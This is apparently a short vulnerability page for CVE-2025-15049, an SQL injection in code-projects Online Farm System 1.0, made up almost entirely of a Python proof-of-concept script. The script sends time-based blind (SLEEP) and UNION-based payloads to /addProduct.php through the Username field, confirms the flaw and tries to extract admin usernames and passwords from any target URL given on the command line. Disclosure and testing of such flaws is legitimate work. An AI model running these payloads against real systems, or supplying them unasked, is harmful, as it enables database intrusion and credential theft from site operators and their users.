CVE-2025-15049: code-projects Online Farm System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-15049 PoC - SQL Injection in Online Farm System 1.0 # Target: /addProduct.php # Parameter: Username def exploit_sqli(url, payload): """ SQL Injection PoC for CVE-2025-15049 This demonstrates blind time-based SQL injection """ target_url = f"{url}/addProduct.php" # Time-based blind SQL injection payload # Adjust sleep time based on database response data = { 'Username': payload, 'ProductName': 'TestProduct', 'ProductPrice': '100' } try: response = requests.post(target_url, data=data, timeout=30) return response except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None def extract_database_version(url): """ Extract MySQL version using time-based blind SQL injection """ # Payload to extract database version payload = "admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" print(f"[*] Sending payload to extract database info...") response = exploit_sqli(url, payload) if response and response.elapsed.total_seconds() > 5: print("[+] SQL Injection confirmed! Database is vulnerable.") return True return False def extract_admin_credentials(url): """ Extract admin credentials using UNION-based injection """ # UNION-based SQL injection to extract admin data payload = "admin' UNION SELECT username,password FROM admin_users-- -" print(f"[*] Extracting admin credentials...") response = exploit_sqli(url, payload) return response if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-15049.py <target_url>") print("Example: python cve-2025-15049.py http://target.com/farm") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] CVE-2025-15049 SQL Injection PoC") print(f"[*] Exploiting: {target}/addProduct.php") if extract_database_version(target): print("[+] Vulnerability confirmed!") print("[*] Next steps: Extract sensitive data using SQL injection")